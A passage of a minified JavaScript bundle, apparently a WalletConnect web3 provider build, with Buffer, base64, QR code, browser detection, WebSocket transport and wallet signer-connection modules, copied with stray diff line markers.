i=e.charCodeAt(0);i<256&&(e=i)}if(void 0!==r&&"string"!=typeof r)throw new TypeError("encoding must be a string");if("string"==typeof r&&!u.isEncoding(r))throw new TypeError("Unknown encoding: "+r)}else"number"==typeof e&&(e&=255);if(t<0||this.length<t||this.length<n)throw new RangeError("Out of range index");if(n<=t)return this;var o;if(t>>>=0,n=void 0===n?this.length:n>>>0,e||(e=0),"number"==typeof e)for(o=t;o<n;++o)this[o]=e;else{var s=u.isBuffer(e)?e:F(new u(e,r).toString()),a=s.length;for(o=0;o<n-t;++o)this[o+t]=s[o%a]}return this};var D=/[^+\/0-9A-Za-z-_]/g;function z(e){return e<16?"0"+e.toString(16):e.toString(16)}function F(e,t){var n;t=t||1/0;for(var r=e.length,i=null,o=[],s=0;s<r;++s){if((n=e.charCodeAt(s))>55295&&n<57344){if(!i){if(n>56319){(t-=3)>-1&&o.push(239,191,189);continue}if(s+1===r){(t-=3)>-1&&o.push(239,191,189);continue}i=n;continue}if(n<56320){(t-=3)>-1&&o.push(239,191,189),i=n;continue}n=65536+(i-55296<<10|n-56320)}else i&&(t-=3)>-1&&o.push(239,191,189);if(i=null,n<128){if((t-=1)<0)break;o.push(n)}else if(n<2048){if((t-=2)<0)break;o.push(n>>6|192,63&n|128)}else if(n<65536){if((t-=3)<0)break;o.push(n>>12|224,n>>6&63|128,63&n|128)}else{if(!(n<1114112))throw new Error("Invalid code point");if((t-=4)<0)break;o.push(n>>18|240,n>>12&63|128,n>>6&63|128,63&n|128)}}return o}function B(e){return r.toByteArray(function(e){if((e=function(e){return e.trim?e.trim():e.replace(/^\s+|\s+$/g,"")}(e).replace(D,"")).length<2)return"";for(;e.length%4!=0;)e+="=";return e}(e))}function H(e,t,n,r){for(var i=0;i<r&&!(i+n>=t.length||i>=e.length);++i)t[i+n]=e[i];return i}}).call(this,n(18))},function(e,t,n){n.d(t,"a",(function(){return i}));var r=n(5);function i(e){return r.getBrowerCrypto().getRandomValues(new Uint8Array(e))}},function(e,t,n){n.d(t,"b",(function(){return i})),n.d(t,"a",(function(){return o}));var r=n(8);function i(e,t,n){return Object(r.b)(e,t,n)}function o(e,t,n){return Object(r.a)(e,t,n)}},function(e,t,n){n.d(t,"a",(function(){return i}));var r=n(8);async function i(e,t){return await Object(r.c)(e,t)}n(16)},function(e,t,n){var r=n(5);n.o(r,"isConstantTime")&&n.d(t,"isConstantTime",(function(){return r.isConstantTime}))},function(e,t,n){},function(e,t){},function(e,t,n){function r(e,t){if(e.length!==t.length)return!1;let n=0;for(let r=0;r<e.length;r++)n|=e[r]^t[r];return 0===n}n.d(t,"a",(function(){return r}))},function(e,t,n){n(8)},function(e,t,n){const r=n(21),i=[1,1,1,1,1,1,1,1,1,1,2,2,1,2,2,4,1,2,4,4,2,4,4,4,2,4,6,5,2,4,6,6,2,5,8,8,4,5,8,8,4,5,8,11,4,8,10,11,4,9,12,16,4,9,16,16,6,10,12,18,6,10,17,16,6,11,16,19,6,13,18,21,7,14,21,25,8,16,20,25,8,17,23,25,9,17,23,34,9,18,25,30,10,20,27,32,12,21,29,35,12,23,34,37,12,25,34,40,13,26,35,42,14,28,38,45,15,29,40,48,16,31,43,51,17,33,45,54,18,35,48,57,19,37,51,60,19,38,53,63,20,40,56,66,21,43,59,70,22,45,62,74,24,47,65,77,25,49,68,81],o=[7,10,13,17,10,16,22,28,15,26,36,44,20,36,52,64,26,48,72,88,36,64,96,112,40,72,108,130,48,88,132,156,60,110,160,192,72,130,192,224,80,150,224,264,96,176,260,308,104,198,288,352,120,216,320,384,132,240,360,432,144,280,408,480,168,308,448,532,180,338,504,588,196,364,546,650,224,416,600,700,224,442,644,750,252,476,690,816,270,504,750,900,300,560,810,960,312,588,870,1050,336,644,952,1110,360,700,1020,1200,390,728,1050,1260,420,784,1140,1350,450,812,1200,1440,480,868,1290,1530,510,924,1350,1620,540,980,1440,1710,570,1036,1530,1800,570,1064,1590,1890,600,1120,1680,1980,630,1204,1770,2100,660,1260,1860,2220,720,1316,1950,2310,750,1372,2040,2430];t.getBlocksCount=function(e,t){switch(t){case r.L:return i[4*(e-1)+0];case r.M:return i[4*(e-1)+1];case r.Q:return i[4*(e-1)+2];case r.H:return i[4*(e-1)+3];default:return}},t.getTotalCodewordsCount=function(e,t){switch(t){case r.L:return o[4*(e-1)+0];case r.M:return o[4*(e-1)+1];case r.Q:return o[4*(e-1)+2];case r.H:return o[4*(e-1)+3];default:return}}},function(e,t){t.isValid=function(e){return!isNaN(e)&&e>=1&&e<=40}},function(e,t){let n="(?:[u3000-u303F]|[u3040-u309F]|[u30A0-u30FF]|[uFF00-uFFEF]|[u4E00-u9FAF]|[u2605-u2606]|[u2190-u2195]|u203B|[u2010u2015u2018u2019u2025u2026u201Cu201Du2225u2260]|[u0391-u0451]|[u00A7u00A8u00B1u00B4u00D7u00F7])+";n=n.replace(/u/g,"\\u");const r="(?:(?![A-Z0-9 $%*+\\-./:]|"+n+")(?:.|[\r\n]))+";t.KANJI=new RegExp(n,"g"),t.BYTE_KANJI=new RegExp("[^A-Z0-9 $%*+\\-./:]+","g"),t.BYTE=new RegExp(r,"g"),t.NUMERIC=new RegExp("[0-9]+","g"),t.ALPHANUMERIC=new RegExp("[A-Z $%*+\\-./:]+","g");const i=new RegExp("^"+n+"$"),o=new RegExp("^[0-9]+$"),s=new RegExp("^[A-Z0-9 $%*+\\-./:]+$");t.testKanji=function(e){return i.test(e)},t.testNumeric=function(e){return o.test(e)},t.testAlphanumeric=function(e){return s.test(e)}},function(e,t){function n(e){if("number"==typeof e&&(e=e.toString()),"string"!=typeof e)throw new Error("Color should be defined as hex string");let t=e.slice().replace("#","").split("");if(t.length<3||5===t.length||t.length>8)throw new Error("Invalid hex color: "+e);3!==t.length&&4!==t.length||(t=Array.prototype.concat.apply([],t.map((function(e){return[e,e]})))),6===t.length&&t.push("F","F");const n=parseInt(t.join(""),16);return{r:n>>24&255,g:n>>16&255,b:n>>8&255,a:255&n,hex:"#"+t.slice(0,6).join("")}}t.getOptions=function(e){e||(e={}),e.color||(e.color={});const t=void 0===e.margin||null===e.margin||e.margin<0?4:e.margin,r=e.width&&e.width>=21?e.width:void 0,i=e.scale||4;return{width:r,scale:r?4:i,margin:t,color:{dark:n(e.color.dark||"#000000ff"),light:n(e.color.light||"#ffffffff")},type:e.type,rendererOpts:e.rendererOpts||{}}},t.getScale=function(e,t){return t.width&&t.width>=e+2*t.margin?t.width/(e+2*t.margin):t.scale},t.getImageWidth=function(e,n){const r=t.getScale(e,n);return Math.floor((e+2*n.margin)*r)},t.qrToImageData=function(e,n,r){const i=n.modules.size,o=n.modules.data,s=t.getScale(i,r),a=Math.floor((i+2*r.margin)*s),u=r.margin*s,c=[r.color.light,r.color.dark];for(let t=0;t<a;t++)for(let n=0;n<a;n++){let l=4*(t*a+n),f=r.color.light;t>=u&&n>=u&&t<a-u&&n<a-u&&(f=c[o[Math.floor((t-u)/s)*i+Math.floor((n-u)/s)]?1:0]),e[l++]=f.r,e[l++]=f.g,e[l++]=f.b,e[l]=f.a}}},function(e,t,n){n.d(t,"k",(function(){return r})),n.d(t,"l",(function(){return i})),n.d(t,"m",(function(){return o})),n.d(t,"e",(function(){return s})),n.d(t,"h",(function(){return a})),n.d(t,"c",(function(){return u})),n.d(t,"f",(function(){return c})),n.d(t,"d",(function(){return l})),n.d(t,"g",(function(){return f})),n.d(t,"a",(function(){return h})),n.d(t,"b",(function(){return d})),n.d(t,"i",(function(){return p})),n.d(t,"j",(function(){return g})),n.d(t,"p",(function(){return y})),n.d(t,"v",(function(){return v})),n.d(t,"s",(function(){return m})),n.d(t,"q",(function(){return _})),n.d(t,"r",(function(){return b})),n.d(t,"w",(function(){return w})),n.d(t,"x",(function(){return E})),n.d(t,"o",(function(){return S})),n.d(t,"u",(function(){return O})),n.d(t,"n",(function(){return x})),n.d(t,"t",(function(){return I}));const r="Session currently connected",i="Session currently disconnected",o="Session Rejected",s="Missing JSON RPC response",a='JSON-RPC success response must include "result" field',u='JSON-RPC error response must include "error" field',c='JSON RPC request must have valid "method" value',l='JSON RPC request must have valid "id" value',f="Missing one of the required parameters: bridge / uri / session",h="JSON RPC response format is invalid",d="URI format is invalid",p="QRCode Modal not provided",g="User close QRCode Modal",y=["session_request","session_update","exchange_key","connect","disconnect","display_uri","modal_closed","transport_open","transport_close","transport_error"],v=y,m=["wallet_addEthereumChain","wallet_switchEthereumChain","wallet_getPermissions","wallet_requestPermissions","wallet_registerOnboarding","wallet_watchAsset","wallet_scanQRCode"],_=["eth_sendTransaction","eth_signTransaction","eth_sign","eth_signTypedData","eth_signTypedData_v1","eth_signTypedData_v2","eth_signTypedData_v3","eth_signTypedData_v4","personal_sign",...m],b=["eth_accounts","eth_chainId","net_version"],w=_,E=b,S="WALLETCONNECT_DEEPLINK_CHOICE",O=S,x={1:"mainnet",3:"ropsten",4:"rinkeby",5:"goerli",42:"kovan"},I=x},function(e,t,n){(function(t){var r=n(22).strict;e.exports=function(e){if(r(e)){var n=t.from(e.buffer);return e.byteLength!==e.buffer.byteLength&&(n=n.slice(e.byteOffset,e.byteOffset+e.byteLength)),n}return t.from(e)}}).call(this,n(44).Buffer)},function(e,t,n){(function(e){n.d(t,"a",(function(){return h}));var r=function(e,t,n){if(n||2===arguments.length)for(var r,i=0,o=t.length;i<o;i++)!r&&i in t||(r||(r=Array.prototype.slice.call(t,0,i)),r[i]=t[i]);return e.concat(r||Array.prototype.slice.call(t))},i=function(e,t,n){this.name=e,this.version=t,this.os=n,this.type="browser"},o=function(t){this.version=t,this.type="node",this.name="node",this.os=e.platform},s=function(e,t,n,r){this.name=e,this.version=t,this.os=n,this.bot=r,this.type="bot-device"},a=function(){this.type="bot",this.bot=!0,this.name="bot",this.version=null,this.os=null},u=function(){this.type="react-native",this.name="react-native",this.version=null,this.os=null},c=/(nuhk|curl|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask\ Jeeves\/Teoma|ia_archiver)/,l=[["aol",/AOLShield\/([0-9\._]+)/],["edge",/Edge\/([0-9\._]+)/],["edge-ios",/EdgiOS\/([0-9\._]+)/],["yandexbrowser",/YaBrowser\/([0-9\._]+)/],["kakaotalk",/KAKAOTALK\s([0-9\.]+)/],["samsung",/SamsungBrowser\/([0-9\.]+)/],["silk",/\bSilk\/([0-9._-]+)\b/],["miui",/MiuiBrowser\/([0-9\.]+)$/],["beaker",/BeakerBrowser\/([0-9\.]+)/],["edge-chromium",/EdgA?\/([0-9\.]+)/],["chromium-webview",/(?!Chrom.*OPR)wv\).*Chrom(?:e|ium)\/([0-9\.]+)(:?\s|$)/],["chrome",/(?!Chrom.*OPR)Chrom(?:e|ium)\/([0-9\.]+)(:?\s|$)/],["phantomjs",/PhantomJS\/([0-9\.]+)(:?\s|$)/],["crios",/CriOS\/([0-9\.]+)(:?\s|$)/],["firefox",/Firefox\/([0-9\.]+)(?:\s|$)/],["fxios",/FxiOS\/([0-9\.]+)/],["opera-mini",/Opera Mini.*Version\/([0-9\.]+)/],["opera",/Opera\/([0-9\.]+)(?:\s|$)/],["opera",/OPR\/([0-9\.]+)(:?\s|$)/],["pie",/^Microsoft Pocket Internet Explorer\/(\d+\.\d+)$/],["pie",/^Mozilla\/\d\.\d+\s\(compatible;\s(?:MSP?IE|MSInternet Explorer) (\d+\.\d+);.*Windows CE.*\)$/],["netfront",/^Mozilla\/\d\.\d+.*NetFront\/(\d.\d)/],["ie",/Trident\/7\.0.*rv\:([0-9\.]+).*\).*Gecko$/],["ie",/MSIE\s([0-9\.]+);.*Trident\/[4-7].0/],["ie",/MSIE\s(7\.0)/],["bb10",/BB10;\sTouch.*Version\/([0-9\.]+)/],["android",/Android\s([0-9\.]+)/],["ios",/Version\/([0-9\._]+).*Mobile.*Safari.*/],["safari",/Version\/([0-9\._]+).*Safari/],["facebook",/FB[AS]V\/([0-9\.]+)/],["instagram",/Instagram\s([0-9\.]+)/],["ios-webview",/AppleWebKit\/([0-9\.]+).*Mobile/],["ios-webview",/AppleWebKit\/([0-9\.]+).*Gecko\)$/],["curl",/^curl\/([0-9\.]+)$/],["searchbot",/alexa|bot|crawl(er|ing)|facebookexternalhit|feedburner|google web preview|nagios|postrank|pingdom|slurp|spider|yahoo!|yandex/]],f=[["iOS",/iP(hone|od|ad)/],["Android OS",/Android/],["BlackBerry OS",/BlackBerry|BB10/],["Windows Mobile",/IEMobile/],["Amazon OS",/Kindle/],["Windows 3.11",/Win16/],["Windows 95",/(Windows 95)|(Win95)|(Windows_95)/],["Windows 98",/(Windows 98)|(Win98)/],["Windows 2000",/(Windows NT 5.0)|(Windows 2000)/],["Windows XP",/(Windows NT 5.1)|(Windows XP)/],["Windows Server 2003",/(Windows NT 5.2)/],["Windows Vista",/(Windows NT 6.0)/],["Windows 7",/(Windows NT 6.1)/],["Windows 8",/(Windows NT 6.2)/],["Windows 8.1",/(Windows NT 6.3)/],["Windows 10",/(Windows NT 10.0)/],["Windows ME",/Windows ME/],["Windows CE",/Windows CE|WinCE|Microsoft Pocket Internet Explorer/],["Open BSD",/OpenBSD/],["Sun OS",/SunOS/],["Chrome OS",/CrOS/],["Linux",/(Linux)|(X11)/],["Mac OS",/(Mac_PowerPC)|(Macintosh)/],["QNX",/QNX/],["BeOS",/BeOS/],["OS/2",/OS\/2/]];function h(t){return t?p(t):"undefined"==typeof document&&"undefined"!=typeof navigator&&"ReactNative"===navigator.product?new u:"undefined"!=typeof navigator?p(navigator.userAgent):void 0!==e&&e.version?new o(e.version.slice(1)):null}function d(e){return""!==e&&l.reduce((function(t,n){var r=n[0],i=n[1];if(t)return t;var o=i.exec(e);return!!o&&[r,o]}),!1)}function p(e){var t=d(e);if(!t)return null;var n=t[0],o=t[1];if("searchbot"===n)return new a;var u=o[1]&&o[1].split(".").join("_").split("_").slice(0,3);u?u.length<3&&(u=r(r([],u,!0),function(e){for(var t=[],n=0;n<e;n++)t.push("0");return t}(3-u.length),!0)):u=[];var l=u.join("."),h=function(e){for(var t=0,n=f.length;t<n;t++){var r=f[t],i=r[0];if(r[1].exec(e))return i}return null}(e),p=c.exec(e);return p&&p[1]?new s(n,l,h,p[1]):new i(n,l,h)}}).call(this,n(19))},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),t.getWindowMetadata=void 0;const r=n(6);t.getWindowMetadata=function(){let e,t;try{e=r.getDocumentOrThrow(),t=r.getLocationOrThrow()}catch(e){return null}function n(...t){const n=e.getElementsByTagName("meta");for(let e=0;e<n.length;e++){const r=n[e],i=["itemprop","property","name"].map((e=>r.getAttribute(e))).filter((e=>!!e&&t.includes(e)));if(i.length&&i){const e=r.getAttribute("content");if(e)return e}}return""}const i=function(){let t=n("name","og:site_name","og:title","twitter:title");return t||(t=e.title),t}();return{description:n("description","og:description","twitter:description","keywords"),url:t.origin,icons:function(){const n=e.getElementsByTagName("link"),r=[];for(let e=0;e<n.length;e++){const i=n[e],o=i.getAttribute("rel");if(o&&o.toLowerCase().indexOf("icon")>-1){const e=i.getAttribute("href");if(e)if(-1===e.toLowerCase().indexOf("https:")&&-1===e.toLowerCase().indexOf("http:")&&0!==e.indexOf("//")){let n=t.protocol+"//"+t.host;if(0===e.indexOf("/"))n+=e;else{const r=t.pathname.split("/");r.pop(),n+=r.join("/")+"/"+e}r.push(n)}else if(0===e.indexOf("//")){const n=t.protocol+e;r.push(n)}else r.push(e)}}return r}(),name:i}}},function(e,t,n){(function(e){var r=n(1),i=n(62);const o=void 0!==e.WebSocket?e.WebSocket:n(74);t.a=class{constructor(e){if(this.opts=e,this._queue=[],this._events=[],this._subscriptions=[],this._protocol=e.protocol,this._version=e.version,this._url="",this._netMonitor=null,this._socket=null,this._nextSocket=null,this._subscriptions=e.subscriptions||[],this._netMonitor=e.netMonitor||new i.a,!e.url||"string"!=typeof e.url)throw new Error("Missing or invalid WebSocket url");this._url=e.url,this._netMonitor.on("online",(()=>this._socketCreate()))}set readyState(e){}get readyState(){return this._socket?this._socket.readyState:-1}set connecting(e){}get connecting(){return 0===this.readyState}set connected(e){}get connected(){return 1===this.readyState}set closing(e){}get closing(){return 2===this.readyState}set closed(e){}get closed(){return 3===this.readyState}open(){this._socketCreate()}close(){this._socketClose()}send(e,t,n){if(!t||"string"!=typeof t)throw new Error("Missing or invalid topic field");this._socketSend({topic:t,type:"pub",payload:e,silent:!!n})}subscribe(e){this._socketSend({topic:e,type:"sub",payload:"",silent:!0})}on(e,t){this._events.push({event:e,callback:t})}_socketCreate(){if(this._nextSocket)return;const e=function(e,t,n){var i,o;const s=(e.startsWith("https")?e.replace("https","wss"):e.startsWith("http")?e.replace("http","ws"):e).split("?"),a=Object(r.isBrowser)()?{protocol:t,version:n,env:"browser",host:(null===(i=Object(r.getLocation)())||void 0===i?void 0:i.host)||""}:{protocol:t,version:n,env:(null===(o=Object(r.detectEnv)())||void 0===o?void 0:o.name)||""},u=Object(r.appendToQueryString)(Object(r.getQueryString)(s[1]||""),a);return s[0]+"?"+u}(this._url,this._protocol,this._version);if(this._nextSocket=new o(e),!this._nextSocket)throw new Error("Failed to create socket");this._nextSocket.onmessage=e=>this._socketReceive(e),this._nextSocket.onopen=()=>this._socketOpen(),this._nextSocket.onerror=e=>this._socketError(e),this._nextSocket.onclose=()=>{setTimeout((()=>{this._nextSocket=null,this._socketCreate()}),1e3)}}_socketOpen(){this._socketClose(),this._socket=this._nextSocket,this._nextSocket=null,this._queueSubscriptions(),this._pushQueue()}_socketClose(){this._socket&&(this._socket.onclose=()=>{},this._socket.close())}_socketSend(e){const t=JSON.stringify(e);this._socket&&1===this._socket.readyState?this._socket.send(t):(this._setToQueue(e),this._socketCreate())}async _socketReceive(e){let t;try{t=JSON.parse(e.data)}catch(e){return}if(this._socketSend({topic:t.topic,type:"ack",payload:"",silent:!0}),this._socket&&1===this._socket.readyState){const e=this._events.filter((e=>"message"===e.event));e&&e.length&&e.forEach((e=>e.callback(t)))}}_socketError(e){const t=this._events.filter((e=>"error"===e.event));t&&t.length&&t.forEach((t=>t.callback(e)))}_queueSubscriptions(){this._subscriptions.forEach((e=>this._queue.push({topic:e,type:"sub",payload:"",silent:!0}))),this._subscriptions=this.opts.subscriptions||[]}_setToQueue(e){this._queue.push(e)}_pushQueue(){this._queue.forEach((e=>this._socketSend(e))),this._queue=[]}}}).call(this,n(18))},function(e,t,n){t.a=class{constructor(){this._eventEmitters=[],"undefined"!=typeof window&&void 0!==window.addEventListener&&(window.addEventListener("online",(()=>this.trigger("online"))),window.addEventListener("offline",(()=>this.trigger("offline"))))}on(e,t){this._eventEmitters.push({event:e,callback:t})}trigger(e){let t=[];e&&(t=this._eventEmitters.filter((t=>t.event===e))),t.forEach((e=>{e.callback()}))}}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});const r=n(17),i=r.__importDefault(n(13)),o=n(102),s=n(103),a=n(2),u=n(1),c=n(73);t.default=class{constructor(e){this.events=new i.default,this.rpc={infuraId:null==e?void 0:e.infuraId,custom:null==e?void 0:e.rpc},this.signer=new o.JsonRpcProvider(new c.SignerConnection(e));const t=this.signer.connection.chainId||(null==e?void 0:e.chainId)||1;this.http=this.setHttpProvider(t),this.registerEventListeners()}get connected(){return this.signer.connection.connected}get connector(){return this.signer.connection.connector}get accounts(){return this.signer.connection.accounts}get chainId(){return this.signer.connection.chainId}get rpcUrl(){var e;return(null===(e=this.http)||void 0===e?void 0:e.connection).url||""}request(e){return r.__awaiter(this,void 0,void 0,(function*(){switch(e.method){case"eth_requestAccounts":return yield this.connect(),this.signer.connection.accounts;case"eth_accounts":return this.signer.connection.accounts;case"eth_chainId":return this.signer.connection.chainId}if(a.SIGNING_METHODS.includes(e.method))return this.signer.request(e);if(void 0===this.http)throw new Error(`Cannot request JSON-RPC method (${e.method}) without provided rpc url`);return this.http.request(e)}))}sendAsync(e,t){this.request(e).then((e=>t(null,e))).catch((e=>t(e,void 0)))}enable(){return r.__awaiter(this,void 0,void 0,(function*(){return yield this.request({method:"eth_requestAccounts"})}))}connect(){return r.__awaiter(this,void 0,void 0,(function*(){this.signer.connection.connected||(yield this.signer.connect())}))}disconnect(){return r.__awaiter(this,void 0,void 0,(function*(){this.signer.connection.connected&&(yield this.signer.disconnect())}))}on(e,t){this.events.on(e,t)}once(e,t){this.events.once(e,t)}removeListener(e,t){this.events.removeListener(e,t)}off(e,t){this.events.off(e,t)}get isWalletConnect(){return!0}registerEventListeners(){this.signer.connection.on("accountsChanged",(e=>{this.events.emit("accountsChanged",e)})),this.signer.connection.on("chainChanged",(e=>{this.http=this.setHttpProvider(e),this.events.emit("chainChanged",e)})),this.signer.on("disconnect",(()=>{this.events.emit("disconnect")}))}setHttpProvider(e){const t=u.getRpcUrl(e,this.rpc);if(void 0!==t)return new o.JsonRpcProvider(new s.HttpConnection(t))}}},function(e,t,n){(function(e){function n(){return(null==e?void 0:e.crypto)||(null==e?void 0:e.msCrypto)||{}}function r(){const e=n();return e.subtle||e.webkitSubtle}Object.defineProperty(t,"__esModule",{value:!0}),t.isBrowserCryptoAvailable=t.getSubtleCrypto=t.getBrowerCrypto=void 0,t.getBrowerCrypto=n,t.getSubtleCrypto=r,t.isBrowserCryptoAvailable=function(){return!!n()&&!!r()}}).call(this,n(18))},function(e,t,n){(function(e){function n(){return"undefined"==typeof document&&"undefined"!=typeof navigator&&"ReactNative"===navigator.product}function r(){return void 0!==e&&void 0!==e.versions&&void 0!==e.versions.node}Object.defineProperty(t,"__esModule",{value:!0}),t.isBrowser=t.isNode=t.isReactNative=void 0,t.isReactNative=n,t.isNode=r,t.isBrowser=function(){return!n()&&!r()}}).call(this,n(19))},function(e,t,n){t.byteLength=function(e){var t=c(e),n=t[0],r=t[1];return 3*(n+r)/4-r},t.toByteArray=function(e){var t,n,r=c(e),s=r[0],a=r[1],u=new o(function(e,t,n){return 3*(t+n)/4-n}(0,s,a)),l=0,f=a>0?s-4:s;for(n=0;n<f;n+=4)t=i[e.charCodeAt(n)]<<18|i[e.charCodeAt(n+1)]<<12|i[e.charCodeAt(n+2)]<<6|i[e.charCodeAt(n+3)],u[l++]=t>>16&255,u[l++]=t>>8&255,u[l++]=255&t;return 2===a&&(t=i[e.charCodeAt(n)]<<2|i[e.charCodeAt(n+1)]>>4,u[l++]=255&t),1===a&&(t=i[e.charCodeAt(n)]<<10|i[e.charCodeAt(n+1)]<<4|i[e.charCodeAt(n+2)]>>2,u[l++]=t>>8&255,u[l++]=255&t),u},t.fromByteArray=function(e){for(var t,n=e.length,i=n%3,o=[],s=0,a=n-i;s<a;s+=16383)o.push(l(e,s,s+16383>a?a:s+16383));return 1===i?(t=e[n-1],o.push(r[t>>2]+r[t<<4&63]+"==")):2===i&&(t=(e[n-2]<<8)+e[n-1],o.push(r[t>>10]+r[t>>4&63]+r[t<<2&63]+"=")),o.join("")};for(var r=[],i=[],o="undefined"!=typeof Uint8Array?Uint8Array:Array,s="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",a=0,u=s.length;a<u;++a)r[a]=s[a],i[s.charCodeAt(a)]=a;function c(e){var t=e.length;if(t%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var n=e.indexOf("=");return-1===n&&(n=t),[n,n===t?0:4-n%4]}function l(e,t,n){for(var i,o,s=[],a=t;a<n;a+=3)i=(e[a]<<16&16711680)+(e[a+1]<<8&65280)+(255&e[a+2]),s.push(r[(o=i)>>18&63]+r[o>>12&63]+r[o>>6&63]+r[63&o]);return s.join("")}i["-".charCodeAt(0)]=62,i["_".charCodeAt(0)]=63},function(e,t){
24
- /*! ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> */
25
- t.read=function(e,t,n,r,i){var o,s,a=8*i-r-1,u=(1<<a)-1,c=u>>1,l=-7,f=n?i-1:0,h=n?-1:1,d=e[t+f];for(f+=h,o=d&(1<<-l)-1,d>>=-l,l+=a;l>0;o=256*o+e[t+f],f+=h,l-=8);for(s=o&(1<<-l)-1,o>>=-l,l+=r;l>0;s=256*s+e[t+f],f+=h,l-=8);if(0===o)o=1-c;else{if(o===u)return s?NaN:1/0*(d?-1:1);s+=Math.pow(2,r),o-=c}return(d?-1:1)*s*Math.pow(2,o-r)},t.write=function(e,t,n,r,i,o){var s,a,u,c=8*o-i-1,l=(1<<c)-1,f=l>>1,h=23===i?Math.pow(2,-24)-Math.pow(2,-77):0,d=r?0:o-1,p=r?1:-1,g=t<0||0===t&&1/t<0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(a=isNaN(t)?1:0,s=l):(s=Math.floor(Math.log(t)/Math.LN2),t*(u=Math.pow(2,-s))<1&&(s--,u*=2),(t+=s+f>=1?h/u:h*Math.pow(2,1-f))*u>=2&&(s++,u/=2),s+f>=l?(a=0,s=l):s+f>=1?(a=(t*u-1)*Math.pow(2,i),s+=f):(a=t*Math.pow(2,f-1)*Math.pow(2,i),s=0));i>=8;e[n+d]=255&a,d+=p,a/=256,i-=8);for(s=s<<i|a,c+=i;c>0;e[n+d]=255&s,d+=p,s/=256,c-=8);e[n+d-p]|=128*g}},function(e,t){var n={}.toString;e.exports=Array.isArray||function(e){return"[object Array]"==n.call(e)}},function(e,t,n){e.exports=e=>encodeURIComponent(e).replace(/[!'()*]/g,(e=>"%"+e.charCodeAt(0).toString(16).toUpperCase()))},function(e,t,n){var r=new RegExp("(%[a-f0-9]{2})|([^%]+?)","gi"),i=new RegExp("(%[a-f0-9]{2})+","gi");function o(e,t){try{return[decodeURIComponent(e.join(""))]}catch(e){}if(1===e.length)return e;t=t||1;var n=e.slice(0,t),r=e.slice(t);return Array.prototype.concat.call([],o(n),o(r))}function s(e){try{return decodeURIComponent(e)}catch(i){for(var t=e.match(r)||[],n=1;n<t.length;n++)t=(e=o(t,n).join("")).match(r)||[];return e}}e.exports=function(e){if("string"!=typeof e)throw new TypeError("Expected `encodedURI` to be of type `string`, got `"+typeof e+"`");try{return e=e.replace(/\+/g," "),decodeURIComponent(e)}catch(t){return function(e){for(var t={"%FE%FF":"��","%FF%FE":"��"},n=i.exec(e);n;){try{t[n[0]]=decodeURIComponent(n[0])}catch(e){var r=s(n[0]);r!==n[0]&&(t[n[0]]=r)}n=i.exec(e)}t["%C2"]="�";for(var o=Object.keys(t),a=0;a<o.length;a++){var u=o[a];e=e.replace(new RegExp(u,"g"),t[u])}return e}(e)}}},function(e,t,n){e.exports=(e,t)=>{if("string"!=typeof e||"string"!=typeof t)throw new TypeError("Expected the arguments to be of type `string`");if(""===t)return[e];const n=e.indexOf(t);return-1===n?[e]:[e.slice(0,n),e.slice(n+t.length)]}},function(e,t,n){e.exports=function(e,t){for(var n={},r=Object.keys(e),i=Array.isArray(t),o=0;o<r.length;o++){var s=r[o],a=e[s];(i?-1!==t.indexOf(s):t(s,a,e))&&(n[s]=a)}return n}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),t.SignerConnection=void 0;const r=n(17),i=r.__importDefault(n(13)),o=r.__importDefault(n(100)),s=r.__importDefault(n(75)),a=n(20),u=n(7);class c extends a.IJsonRpcConnection{constructor(e){super(),this.events=new i.default,this.accounts=[],this.chainId=1,this.pending=!1,this.bridge="https://bridge.walletconnect.org",this.qrcode=!0,this.qrcodeModalOptions=void 0,this.opts=e,this.chainId=(null==e?void 0:e.chainId)||this.chainId,this.wc=this.register(e)}get connected(){return void 0!==this.wc&&this.wc.connected}get connecting(){return this.pending}get connector(){return this.wc=this.register(this.opts),this.wc}on(e,t){this.events.on(e,t)}once(e,t){this.events.once(e,t)}off(e,t){this.events.off(e,t)}removeListener(e,t){this.events.removeListener(e,t)}open(e){return r.__awaiter(this,void 0,void 0,(function*(){if(!this.connected)return new Promise(((t,n)=>{this.on("error",(e=>{n(e)})),this.on("open",(()=>{t()})),this.create(e)}));this.onOpen()}))}close(){return r.__awaiter(this,void 0,void 0,(function*(){void 0!==this.wc&&(this.wc.connected&&this.wc.killSession(),this.onClose())}))}send(e){return r.__awaiter(this,void 0,void 0,(function*(){this.wc=this.register(this.opts),this.connected||(yield this.open()),this.sendPayload(e).then((e=>this.events.emit("payload",e))).catch((t=>this.events.emit("payload",u.formatJsonRpcError(e.id,t.message))))}))}register(e){if(this.wc)return this.wc;this.opts=e||this.opts,this.bridge=(null==e?void 0:e.connector)?e.connector.bridge:(null==e?void 0:e.bridge)||"https://bridge.walletconnect.org",this.qrcode=void 0===(null==e?void 0:e.qrcode)||!1!==e.qrcode,this.chainId=void 0!==(null==e?void 0:e.chainId)?e.chainId:this.chainId,this.qrcodeModalOptions=null==e?void 0:e.qrcodeModalOptions;const t={bridge:this.bridge,qrcodeModal:this.qrcode?s.default:void 0,qrcodeModalOptions:this.qrcodeModalOptions,storageId:null==e?void 0:e.storageId,signingMethods:null==e?void 0:e.signingMethods,clientMeta:null==e?void 0:e.clientMeta};if(this.wc=void 0!==(null==e?void 0:e.connector)?e.connector:new o.default(t),void 0===this.wc)throw new Error("Failed to register WalletConnect connector");return this.wc.accounts.length&&(this.accounts=this.wc.accounts),this.wc.chainId&&(this.chainId=this.wc.chainId),this.registerConnectorEvents(),this.wc}onOpen(e){this.pending=!1,e&&(this.wc=e),this.events.emit("open")}onClose(){this.pending=!1,this.wc&&(this.wc=void 0),this.events.emit("close")}onError(e,t="Failed or Rejected Request",n=-32e3){const r={id:e.id,jsonrpc:e.jsonrpc,error:{code:n,message:t}};return 